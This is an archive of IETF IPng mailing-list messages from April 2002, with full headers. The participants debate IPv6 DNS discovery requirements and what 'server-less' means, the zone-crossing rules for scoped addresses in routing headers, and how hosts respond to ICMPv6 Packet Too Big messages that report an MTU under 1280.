sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N4C5Gs009946; Mon, 22 Apr 2002 21:12:06 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N4C50U009945; Mon, 22 Apr 2002 21:12:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N4C2Gs009938 for ; Mon, 22 Apr 2002 21:12:02 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA08198 for ; Mon, 22 Apr 2002 21:12:03 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA23093 for ; Mon, 22 Apr 2002 22:12:02 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id BF7C91C14 for ; Tue, 23 Apr 2002 00:12:01 -0400 (EDT) Date: Tue, 23 Apr 2002 00:12:01 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020422135255.02ceafe0@mailhost.iprg.nokia.com> References: <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> <20020419173026.570901C7E@thrintun.hactrn.net> <4.3.2.7.2.20020422135255.02ceafe0@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020423041201.BF7C91C14@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 22 Apr 2002 13:57:02 -0700, Bob Hinden wrote: > > Could you comment on the definition I used for server-less? There > was more than just the use of the word. I think that Ralph already addressed the main point, I doubt that I can improve much on his comments, and I implore you to read what he wrote very carefully. However, since you did ask a direct question, I'll try to answer it. > For this requirement, Server-less is defined to mean the DNS > information is learned with out any dependence on resources other > than are needed (i.e., links, interfaces, routers, and DNS server) > to communicate with the DNS server. Comments: The term "DNS server" is not well defined at the level of detail that this problem statement requires. Is an entity that implements both the DNS server role and portions of the DHCP server role a "DNS server" within the meaning of this definition? The term "router" is not well defined at the level of detail that this problem statement requires. Eg, would DHCP relay agents co-resident with routers be parts of the routers within the meaning of this definition? In all seriousness: I can't tell you whether I agree with your statement of the problem until I know what what the words mean. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 22:05:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N55FGs010014; Mon, 22 Apr 2002 22:05:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N55Few010013; Mon, 22 Apr 2002 22:05:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N55BGs010006 for ; Mon, 22 Apr 2002 22:05:11 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA12944 for ; Mon, 22 Apr 2002 22:05:12 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA02204 for ; Mon, 22 Apr 2002 22:05:11 -0700 (PDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3N559o75421; Tue, 23 Apr 2002 14:05:09 +0900 (JST) Date: Tue, 23 Apr 2002 14:05:22 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Richard Draves" Cc: Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA8063CEC55@red-msg-06.redmond.corp.microsoft.com> References: <7695E2F6903F7A41961F8CF888D87EA8063CEC55@red-msg-06.redmond.corp.microsoft.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 40 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 22 Apr 2002 13:33:11 -0700, >>>>> "Richard Draves" said: >> E.g are you able to send a packet like: >> >> src=global1 >> dst=globalA >> routing header=site_localA, segments left=1 >> >> which would be translated at globalA to: >> >> src=global1 >> dst=site_localA >> routing header=globalA, segments left=0 ? > To prevent this I have a check when processing routing headers - when > swapping the old destination and the new destination, it's an error if > the new destination has smaller scope than the old destination. > I think it's important that when a packet arrives at its final > destination, if that destination is link-local then the receiving > application can know that the packet originated on-link, and if the > destination is site-local then the application can know that the packet > originated within the site. I tend to agree, because otherwise we do not have a guarantee that the "response" packet can be delivered to the originating node without breaking the destination zone (of the original packet). (Of course, there is always a possibility to break a zone boundary when the scope types of source and destination are different. But the possibility usually depends on the intra-zone routing whereas in this case there can be an essential breakage.) Can we agree on the restriction? Then I'll add it to the next version of the draft. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 22:44:45 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N5ijGs010096; Mon, 22 Apr 2002 22:44:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N5ijtu010095; Mon, 22 Apr 2002 22:44:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N5ieGs010088 for ; Mon, 22 Apr 2002 22:44:40 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA22543 for ; Mon, 22 Apr 2002 22:44:41 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA15012 for ; Mon, 22 Apr 2002 22:44:41 -0700 (PDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3N5iSo75880; Tue, 23 Apr 2002 14:44:28 +0900 (JST) Date: Tue, 23 Apr 2002 14:44:40 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Steve Deering Cc: mccann@zk3.dec.com, ipng@sunroof.eng.sun.com Subject: Re: ICMPv6 too big with a "too small" MTU In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 51 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 22 Apr 2002 14:44:17 -0700, >>>>> Steve Deering said: >> In my understanding, the only "translating router" that needs the >> indication of the fragment header is an SIIT (or similar) translation >> router. In fact, neither NAT-PT (RFC 2766) nor TCP-relay (RFC 3142) >> needs the indication. >> >> So my questions are: >> >> - is my understanding correct? > Perhaps. That depends on how generous your "(or similar)" qualifier is. > :-) Indeed...by the word I primarily meant a translation router that cannot assign a unique IPv4 ID for a given IPv6 address. An SIIT translator cannot do this, because the translated IPv4 (source) address is derived from the original IPv6 address. A TCP relay can do this, because it uses an IPv4 address of its own for the IPv4 side. As for NAT-PT, I thought it belonged to the latter group, but I may be wrong. >> - if so, is it allowed for a host not implementing SIIT client side to >> ignore the requirement to insert the fragment header upon receiving >> an ICMPv6 too big message with an MTU less than 1280? > No, because there may be other things similar to SIIT (either already > invented or to-be-invented), that require the same originator behavior. > The spec is clear what to do when you get a Packet Too Big message > reporting an MTU less than 1280, and I think it would be unwise for > nodes to employ heuristics to determine whether or not to comply. I agree with the last sentence ("it would be unwise..."), but please let me ask a question from a practical point of view, just out of curiosity: Is there an existing translation router (other than an SIIT translator) that may return an ICMPv6 too big message with an MTU less than 1280? Is there an implementation that does not support the SIIT client function but is compliant to the exceptional case of RFC 1981? Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 23:03:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N63FGs010163; Mon, 22 Apr 2002 23:03:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N63F4j010162; Mon, 22 Apr 2002 23:03:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N63CGs010155 for ; Mon, 22 Apr 2002 23:03:12 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA02551 for ; Mon, 22 Apr 2002 23:03:13 -0700 (PDT) Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA24438 for ; Tue, 23 Apr 2002 00:03:12 -0600 (MDT) Received: from inet-vrs-01.redmond.corp.microsoft.com ([157.54.8.27]) by mail1.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 23:03:08 -0700 Received: from 157.54.5.25 by inet-vrs-01.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 22 Apr 2002 23:03:08 -0700 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 23:02:28 -0700 x-mimeole: Produced By Microsoft Exchange V6.0.6177.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: ICMPv6 too big with a "too small" MTU Date: Mon, 22 Apr 2002 23:03:08 -0700 Message-ID: <7695E2F6903F7A41961F8CF888D87EA8063CEC5B@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ICMPv6 too big with a "too small" MTU Thread-Index: AcHqij4Xl9RGI9alSP6DHyun0OaJhQAAfPbA From: "Richard Draves" To: "JINMEI Tatuya / ????" , "Steve Deering" Cc: , X-OriginalArrivalTime: 23 Apr 2002 06:02:28.0660 (UTC) FILETIME=[72DEA740:01C1EA8C] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3N63CGs010156 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Is there an implementation that does not support the SIIT > client function but is compliant to the exceptional case of RFC 1981? Yes. Rich -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 23:25:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N6P5Gs010191; Mon, 22 Apr 2002 23:25:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N6P5Tq010190; Mon, 22 Apr 2002 23:25:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N6P2Gs010183 for ; Mon, 22 Apr 2002 23:25:02 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA07394 for ; Mon, 22 Apr 2002 23:25:03 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA09181 for ; Tue, 23 Apr 2002 00:25:02 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g3N6OpC12180; Tue, 23 Apr 2002 09:24:51 +0300 Date: Tue, 23 Apr 2002 09:24:51 +0300 (EEST) From: Pekka Savola To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 23 Apr 2002, JINMEI Tatuya / [ISO-2022-JP] $B?@L@C#:H(B wrote: > > I think we need to have a much much more clearer view of what is possible > > and what is not when crossing zone boundaries with routing headers. > > I admit the notion is quite complicated and the text may have unclear > points, but the described behavior is clear at least to me so that I > could implement the rule in my implementation. Did you write or participate in writing of the text? :-) > So, could you be more > specific about the unclearness? Could you give me a concrete example > that cannot be explained with the description? The text about the scope and zone of the source address and the previous hop make the specification difficult to understand. For regular packet forwarding, the second bullet in 9. basically seems to say: "if you cross the zone boundary, the packet is discarded". This should be, IMO, honoured with routing header too. In particular, one should not be able (IMO) to control how routing should go inside a site, using site-internal addresses (as these addresses aren't reachable to the source, and may have a different level of security etc.). If the destination site does not have global addresses in use there, he probably don't want site-local's being used either. Does does scoped arch work in the following case: src=linklocalA dst=globalB routing header=linklocalB, segments left=1 Processing at globalB, I believe this would be discarded if linklocalA is not a direct neighbor of globalB, correct? Processing at linklocalB, the packet would always be accepted (if the proposed new rule is not adopted)? Site-locals are potentially fishier as they can't be as trivially restricted to a link. I'd like to see a "roadmap" of what kind of forwarding is possible with routing header, and what is not. I couldn't make a clear mental image based on the text. A comment, Then the above forwarding rules are applied, using the new destination address where the zone of the new destination address should be determined by the scope of the previous destination address and the interface to which the previous address belongs (which is not necessarily equal to the incoming interface). ==> does incoming interface mean 'incoming interface' or 'incoming link'? That is, can you use RH to forward packets out of the incoming link with e.g. link-local addresses? (As in the previous paragraph in the text.) Depending on the answer to that question, this may be in conflict with the regular forwarding bullet above. > > 14. Security Considerations > > > The routing section of this document specifies a set of guidelines > > that allow routers to prevent zone-specific information from leaking > > out of each site. If site boundary routers allow site routing > > information to be forwarded outside of the site, the integrity of the > > site could be compromised. > > > ==> Security considerations should mention potential problems of crossing > > zone boundaries w/ routing headers. > > Okay, but the problems would basically be the same as in "normal" > (i.e. all destinations are in the same scope type) routing headers. > Do you have an example of the potential problems specific to the case > of mixed scoped destinations? Let's come back to this issue after the big picture of RH + scoping has become clearer. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 00:09:21 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N79LGs010337; Tue, 23 Apr 2002 00:09:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N79LYu010336; Tue, 23 Apr 2002 00:09:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N79HGs010329 for ; Tue, 23 Apr 2002 00:09:17 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA12145 for ; Tue, 23 Apr 2002 00:09:17 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA22809 for ; Tue, 23 Apr 2002 01:09:16 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3N79Co76627; Tue, 23 Apr 2002 16:09:12 +0900 (JST) Date: Tue, 23 Apr 2002 16:09:23 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Ralph Droms Cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020421073905.00b8e5d0@funnel.cisco.com> References: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> <4.3.2.7.2.20020421073905.00b8e5d0@funnel.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 52 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 22 Apr 2002 11:43:28 -0400, >>>>> Ralph Droms said: > Do we need a server-less solution for every IPv6 > configuration problem? > ================================================ > But a solution to server-less configuration of IPv6 addresses does not > imply that a solution to server-less configuration of routing information, > DNS resolution and other basic configuration is a good idea or even > possible. I think we should be careful to consider each type of > configuration separately to make sure we're generating useable solutions to > real problems. Aside from the definition of "server-less" (though some people would say the definition is the point...), this is IMO the most essential point of this discussion. Bob said: >>>>> On Wed, 17 Apr 2002 16:23:33 -0700, >>>>> Bob Hinden said: > In order for an IPv6 host to communicate on the Internet it needs an IPv6 > address, IPv6 prefix for the link it is attached, default router address, > and a DNS server address. This information allows the host to use basic > internet services like the web, email, file transfer, etc. this means a DNS server address (for name resolution) is one of the very fundamental parts of the Internet communication where we'd like to reduce dependencies as much as possible. Thus the server-less solution. So perhaps the question is: is a DNS server address that special? The answer from the design team is "yes", but the answer from those making objections (or doubts) in this discussion would be "not really". If my view is correct, then I'm afraid we cannot reach a consensus, which would probably mean we should reconsider the mechanism from the scratch. In that case we'll have to start with (more primary) requirements Bob raised: > Desirable aspects of a solution the meets these requirements include: > - Minimal changes to existing implementations > - A solution that could be standardized in a short amount of time. > - Minimal use of bandwidth JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 00:56:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N7unGs010393; Tue, 23 Apr 2002 00:56:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N7un7J010392; Tue, 23 Apr 2002 00:56:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N7ujGs010385 for ; Tue, 23 Apr 2002 00:56:45 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA00416 for ; Tue, 23 Apr 2002 00:56:46 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA03014 for ; Tue, 23 Apr 2002 00:56:45 -0700 (PDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3N7udo77213; Tue, 23 Apr 2002 16:56:39 +0900 (JST) Date: Tue, 23 Apr 2002 16:56:51 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 100 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 23 Apr 2002 09:24:51 +0300 (EEST), >>>>> Pekka Savola said: >> > I think we need to have a much much more clearer view of what is possible >> > and what is not when crossing zone boundaries with routing headers. >> >> I admit the notion is quite complicated and the text may have unclear >> points, but the described behavior is clear at least to me so that I >> could implement the rule in my implementation. > Did you write or participate in writing of the text? :-) The answer depends on the definition of "the text" and "participate in":-) Though I'm a co-author of the draft, I have basically contributed the textual representation section only. For other sections, I'm almost a reader of the draft, just like you. >> So, could you be more >> specific about the unclearness? Could you give me a concrete example >> that cannot be explained with the description? > The text about the scope and zone of the source address and the previous > hop make the specification difficult to understand. > For regular packet forwarding, the second bullet in 9. basically seems to > say: "if you cross the zone boundary, the packet is discarded". This is oversimplification. The second ballet says "a packet must not cross the zone boundary of the source address's zone". > This should be, IMO, honoured with routing header too. As for the source address, that's correct (or at least what the draft intended to say). > In particular, one > should not be able (IMO) to control how routing should go inside a site, > using site-internal addresses (as these addresses aren't reachable to the > source, and may have a different level of security etc.). If the > destination site does not have global addresses in use there, he probably > don't want site-local's being used either. Sorry, I don't understand the statement above. Could you be more specific please? > Does does scoped arch work in the following case: > src=linklocalA > dst=globalB > routing header=linklocalB, segments left=1 > Processing at globalB, I believe this would be discarded if linklocalA is > not a direct neighbor of globalB, correct? Correct. > Processing at linklocalB, the > packet would always be accepted (if the proposed new rule is not adopted)? If all the 3 addresses are in the same link, yes. Otherwise, no. > Site-locals are potentially fishier as they can't be as trivially > restricted to a link. > I'd like to see a "roadmap" of what kind of forwarding is possible with > routing header, and what is not. I couldn't make a clear mental image > based on the text. I'm not sure what "roadmap" exactly means, but the restriction that Rich mentioned will be clearer about the rule... > A comment, > Then the above forwarding rules are applied, > using the new destination address where the zone of the new > destination address should be determined by the scope of the previous > destination address and the interface to which the previous address > belongs (which is not necessarily equal to the incoming interface). > ==> does incoming interface mean 'incoming interface' or 'incoming link'? It means 'incoming interface' (or 'arrival interface'). > That is, can you use RH to forward packets out of the incoming link with > e.g. link-local addresses? (As in the previous paragraph in the text.) That depends on the precise configuration, as I said above. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp p.s. to make my position clear, I'm not a fan of the current rule. Formerly I proposed a stricter rule that required all destinations in a routing header were in the same scope type for deterministic behavior. But the consensus at that time was that the flexible rule was supported. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 01:01:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N81EGs010429; Tue, 23 Apr 2002 01:01:14 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N81DUd010428; Tue, 23 Apr 2002 01:01:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N813Gs010416 for ; Tue, 23 Apr 2002 01:01:03 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA01419 for ; Tue, 23 Apr 2002 01:01:04 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA06829 for ; Tue, 23 Apr 2002 02:01:03 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3N8120E001973 for ; Tue, 23 Apr 2002 10:01:02 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Apr 23 10:01:01 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTTMWB>; Tue, 23 Apr 2002 10:01:00 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACA4@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Ole Troan '" , "Hesham Soliman (ERA)" Cc: "''Thomas Narten' '" , "''Bob Hinden' '" , "''IPng List' '" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Tue, 23 Apr 2002 10:00:48 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > => Well IMHO, the default router is not a server. > For a node to communicate with other nodes outside > the link, it requires a router. Hence, the dependency > is already there (on the default router). There is > no other node involved. We can discuss the terminology, > but the point is, there is no reliance on a third > node involved. so as long as the piece of code runs on a (default) router, the requirement for server-lessness is fulfilled? e.g this could be a DHCP server? => OK so there are lots of word games going on :) I wonder how consistent this scrutiny of proposals is. Anyhow, it is good to eb precise so let's continue. The answer to your question is in the question itself. You said: ' requirement for server-lessness is fulfilled? e.g this could be a DHCP server?' If it's a server, then how could you call the solution server-less? Also the IETF does not mandate architectures, we can't force people to install DHCP servers on each router. Even if we can, what are the consequences for management cost of running multiple servers? 